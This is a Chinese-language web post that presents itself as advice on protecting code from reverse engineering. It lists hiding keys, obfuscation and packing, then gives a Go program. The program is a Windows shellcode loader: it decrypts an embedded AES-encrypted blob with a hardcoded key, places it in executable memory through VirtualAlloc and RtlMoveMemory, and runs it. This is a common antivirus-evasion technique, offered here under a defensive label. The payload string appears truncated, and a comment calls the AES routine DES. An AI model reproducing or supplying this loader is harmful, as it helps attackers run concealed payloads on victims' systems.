增强代码安全性:隐藏敏感信息和反逆向技巧
为了增强代码的安全性,可以考虑以下几点:
-
将敏感信息(如密钥)放在代码外部的配置文件中,避免直接暴露在代码中。
-
对代码进行混淆,使其难以被反编译。
-
使用加壳技术,将程序加密,需要运行时解密才能执行。
-
对代码进行动态加密,即在程序运行时对代码进行加密,减少代码被静态分析的可能性。
-
使用虚拟化技术,将程序运行在虚拟环境中,增加攻击者对程序的逆向难度。
需要注意的是,增加代码的隐蔽性并不能完全避免被攻击,只能增加攻击者的攻击难度。因此,还需要加强程序的安全性,如对输入输出进行严格的验证和过滤,防止注入攻击等。
package main
import (
'crypto/aes'
'crypto/cipher'
'encoding/base64'
'fmt'
'syscall'
'unsafe'
)
var (
kernel32 = syscall.NewLazyDLL('kernel32.dll')
VirtualAlloc = kernel32.NewProc('VirtualAlloc')
RtlMoveMemory = kernel32.NewProc('RtlMoveMemory')
)
func build(ddm string) {
sDec, _ := base64.StdEncoding.DecodeString(ddm)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
//去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
n := len(str)
count := int(str[n-1])
newPaddingText := str[:n-count]
return newPaddingText
}
//---------------DES解密--------------------
func DecrptogAES(src, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
fmt.Println(nil)
return nil
}
blockMode := cipher.NewCBCDecrypter(block, key)
blockMode.CryptBlocks(src, src)
src = UnPaddingText1(src)
return src
}
func main() {
str := 'i/5PzhAzsoBA4o5ZcLmYA8CR0z5hyC1wEgAUOP3L6DKXKthN4nEc6OAqHkJGGW'
key := []byte('LeslieCheungKwok')
base_byte, _ := base64.StdEncoding.DecodeString(str)
build(string(DecrptogAES(base_byte, key)))
}
原文地址: https://www.cveoy.top/t/topic/lPfu 著作权归作者所有。请勿转载和采集!